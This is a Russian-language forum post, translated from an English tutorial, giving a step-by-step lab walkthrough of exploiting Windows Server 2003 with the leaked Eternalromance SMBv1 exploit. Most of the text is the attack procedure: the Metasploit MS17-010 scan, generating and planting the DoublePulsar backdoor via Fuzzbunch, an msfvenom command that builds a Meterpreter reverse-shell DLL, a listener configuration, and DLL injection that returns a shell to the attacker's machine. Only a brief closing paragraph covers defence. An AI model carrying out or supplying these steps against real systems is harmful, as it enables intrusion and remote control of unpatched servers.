• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Eternalromance: Эксплуатация Windows Server 2003

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Eternalromance - это еще один эксплоит SMBv1 из коллекции утечек NSA, предназначенный для Windows XP/Vista/7 и Windows Server 2003 и 2008. В последнем уроке по взлому мы продемонстрировали, как неаутентифицированные атаки могут эксплуатировать цель Windows 7, уязвимую для Eternalblue, используя Fuzzbunch, DoublePulsar и Empire. В этом туториале мы продемонстрируем, как эксплуатировать 2003 R2 SP2 Enterprise, используя Eternalromance в Fuzzbunch. Процесс эксплоитинга очень похож на Eternalblue за исключением того, что мы должны использовать DoublePulsar для генерации шеллкода, который будет использоваться эксплоитом Eternalromance. Любой другой шеллкод, кроме DoublePulsar, не будет работать и вызывает BSOD.

Прежде чем мы начнем эксплуатировать Eternalromance, мы рассмотрим лабораторные настройки, которые мы будем использовать в этом туториале. Затем мы будем использовать вспомогательный модуль Metasploit, чтобы проверить, была ли пропатчена цель или нет. Наконец, мы установим бэкдор DoublePulsar с помощью эксплоита Eternalromance на компьютере с Windows Server 2003 и используем его для внедрения полезной нагрузки Meterpreter, которая даст нам оболочку на цели.

Настройка лаборатории Eternalromance

Лабораторная установка будет очень похожа на ту, которую мы использовали в уроке Eternalblue. Мы будем использовать следующие машины:

- Windows 2003 R2 SP2 Enterprise 32-разрядная версия как уязвимый хост. IP: 10.11.1.253
- Windows 7 32-битная, как первая машина для атак, на которой работает Fuzzbunch. IP: 10.11.1.251
- Kali Linux 2017.1 - как вторая машина атаки, которую мы будем использовать для установки оболочки Meterpreter. IP: 10.11.1.17

Для этого туториала у нас уже есть установленные на лабораторных машинах нужные компоненты, необходимые для запуска Fuzzbunch. Необходимо установить следующие компоненты для атакующей машины Windows 7:

- Python 2.6
- PyWin32 v212

Ознакомьтесь с руководством по эксплуатации Eternalblue для получения инструкций по установке Fuzzbunch и нужных компонентов. В этом туториале также приведены инструкции по настройке Fuzzbunch и некоторые способы устранения распространенных ошибок.

Обнаружение Metasploit MS17-010 SMB RCE

Чтобы определить, пропатчен ли MS17-010 или нет, мы можем использовать вспомогательный модуль Metasploit с именем MS17-010 SMB RCE Detection. Этот модуль подключается к дереву IPC$ и пытается выполнить транзакцию с FID 0. Если возвращен статус "STATUS_INSUFF_SERVER_RESOURCES", то на машине не установлен патч MS17-010. "STATUS_INSUFF_SERVER_RESOURCES" обычно возвращается, когда сервер не может выделить достаточно памяти для предпринятого запроса. Когда возвращается статус "STATUS_ACCESS_DENIED" или "STATUS_INVALID_HANDLE", то целевая машина пропатчила MS17-010 и/ или не уязвима. Кроме того, этот модуль также проверит хост на наличие существующих инфекций DoublePulsar.

Давайте запустим msfconsole и выполним следующие команды, чтобы проверить, пропатчила ли наша целевая машина MS17-010:

Bash:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.11.1.253
run

1.jpg


Как мы уже ожидали, чистая установка Windows 2003 Server уязвима для MS17-010. Обратите внимание, что Eternalromance также применяется к поддерживаемым операционным системам Windows, таким как Windows 7 и Windows Server 2008.Windows XP и Windows Server 2003 больше не поддерживаются, и поэтому патчи для этих операционных систем, скорее всего, никогда не будут выпущены.

Давайте продолжим, запустив Fuzzbunch на компьютере с Windows 7 и сгенерировав шелл-код DoublePulsar.

Шеллкод DoublePulsar

Прежде чем мы сможем запустить эксплойт Eternalromance, нам нужно сгенерировать шеллкод с помощью DoublePulsar. Выходной файл, содержащий шеллкод, будет использоваться эксплоитом Eternalromance для заражения цели бэкдором DoublePulsar. Когда бэкдор установлен в целевой системе, мы можем использовать его для запуска реверсшелла Meterpreter.

Давайте запустим Fuzzbunch и предоставим запрошенную информацию о целевом IP-адресе и IP-адресе обратного вызова. Выберите не использовать перенаправление и оставьте базовый каталог логов по умолчанию:

2.jpg


Следующим шагом является создание нового проекта, назовите его и выберите параметры ведения логов по умолчанию:

3.jpg


Введите следующую команду, чтобы активировать DoublePulsar:

use DoublePulsar

Нажмите ввод, чтобы запросить переменные настройки:

4.jpg


Далее нам нужно указать некоторые переменные настройки, такие как архитектура, протокол и выходной файл. Для нашей лабораторной установки мы можем оставить большинство параметров по умолчанию, потому что целевая архитектура 32-битная x86, целевой протокол SMB и нам нужно вывести шелл-код в виде двоичного файла. Единственный параметр, который нам нужно изменить, это тот, который содержит полный путь к выходному файлу.


5.jpg


Оставьте все остальные параметры по умолчанию, нажав Enter и, наконец, запустите плагин DoublePulsar:

6.jpg


Если все прошло успешно, Fuzzbunch выводит, что DoublePulsar успешно выполняется и генерирует файл шелл-кода в указанном месте:

7.jpg


Следующим шагом является настройка и запуск эксплойта Eternalromance.

Настройка и исполнение Eternalromance

Теперь, когда у нас есть готовый двоичный файл оболочки DoublePulsar, мы можем запустить эксплойт Eternalromance. Введите следующую команду в Fuzzbunch, чтобы активировать эксплойт Eternalromance:

use Eternalromance

Вам будет предложено множество параметров конфигурации для Eternalromance. Выберите все параметры по умолчанию, пока вам не предложат запустить плагин:

8.jpg


Наконец вам будет предложено выполнить Smbtouch. Нажмите Enter, чтобы выполнить Smbtouch:

9.jpg


Smbtouch был успешно выполнен:

10.jpg


Следующим шагом является установка переменных для Eternalromance:

11.jpg


Далее вам снова будет предложено задать параметры переменной Eternalromance. Сохраняйте все настройки по умолчанию, пока вы не введете местоположение файла шеллкода. Убедитесь, что вы указали правильный путь к файлу шеллкода DoublePulsar:

12.jpg


Затем выберите все параметры по умолчанию, пока не появится запрос на указание целевой операционной системы. Выберите правильную целевую операционную систему здесь (в нашем случае мы выбираем вариант 6 - Windows Server 2003 SP2):

13.jpg


Fuzzbunch подготовит эксплойт Eternalromance к исполнению. Выберите IP-адрес назначения и порт по умолчанию и выполните плагин:

14.jpg


Если все прошло успешно, вывод в Fuzzbunch выглядит следующим образом:

15.jpg


Как показывает последняя строка, эксплойт Eternalromance был успешно выполнен для нашей цели Windows Server 2003. Следующим шагом является внедрение полезной нагрузки реверс шелла. Для этой цели мы будем использовать бэкдор DoublePulsar. Это то, что мы уже продемонстрировали в обучающем туториале Eternalblue с использованием фреймворка Empire и Meterpreter. В этом туториале мы быстро пройдемся по процессу и создадим обратную реверсшелл с помощью msfvenom.

Получаем шелл

Следующие шаги включают шаги по получению оболочки на целевом сервере Windows 2003. Сначала мы сгенерируем реверсшелл с помощью MSFvenom. Затем мы настроим слушателя для перехвата реверсшелла, используя msfconsole и эксплойт с несколькими обработчиками. Наконец, мы инжектируем dll реверсшелла с помощью DoublePulsar, которая запустит реверсшелл с хоста сервера Windows 2003 в окно Kali Linux.

Реверсшелл с помощью MSFvenom

Давайте переключимся на нашу машину для атаки на Kali Linux и с помощью следующей команды создадим реверсшелл с помощью msfvenom:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll -a x86 –platform windows LHOST=192.168.1.17 LPORT=4444 > /var/www/html/meterpreter.dll

16.jpg


Настройте слушателя в msfconsole

Запустите msfconsole и используйте следующие команды для настройки слушателя:

Bash:
use exploit/multi/handler
set lhost 10.11.1.17
set lport 4444
run

17.jpg


Инжектирование реверсшелла DLL с помощью DoublePulsar

Теперь, когда наш слушатель работает на порту 4444, сгенерировал полезную нагрузку реверсшелла и наша цель заражена бэкдором Doublepulsar, мы можем внедрить полезную нагрузку обратной оболочки. Чтобы инжектировать полезную нагрузку реверсшелла, сначала нам нужно снова активировать DoublePulsar с помощью следующей команды:

Bash:
use DoublePulsar

Вам снова будет предложено указать переменные для DoublePulsar. Снова выбирайте все настройки по умолчанию, пока вас не попросят указать операцию, которую должен выполнить бэкдор DoublePulsar. Вместо параметра по умолчанию, который выводит двоичный файл шеллкода, выберите вариант 2, чтобы внедрить файл DLL. Затем вам будет предложено указать полный путь к файлу DLL для инъекции. Предполагая, что вы уже перенесли вредоносный файл DLL в окно Windows 7, введите полный путь к файлу DLL, который мы создали ранее с помощью MSFvenom. Оставьте все остальные настройки по умолчанию.

18.jpg


Наконец вам будет предложено запустить плагин DoublePulsar, нажмите Enter, чтобы запустить DoublePulsar. Если все прошло успешно, Fuzzbunch выдаст следующее:

19.jpg


И у нас должна появится оболочка Meterpreter на машине атаки Kali Linux:

20.jpg


Защита

Как уже упоминалось ранее в этом туториале, Windows Server 2003 больше не поддерживается Microsoft. По этой причине Windows Server 2003 и Windows XP не будут получать обновления, исправляющие эту и другие уязвимости SMBv1. Если ваша организация по-прежнему использует сервер Windows 2003 и системы Windows XP, убедитесь, что вы отключили SMBv1 или используете IDS/IPS для обнаружения бэкдоров DoublePulsar.

Источник: https://www.hackingtutorials.org/exploit-tutorials/eternalromance-exploiting-windows-server-2003/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх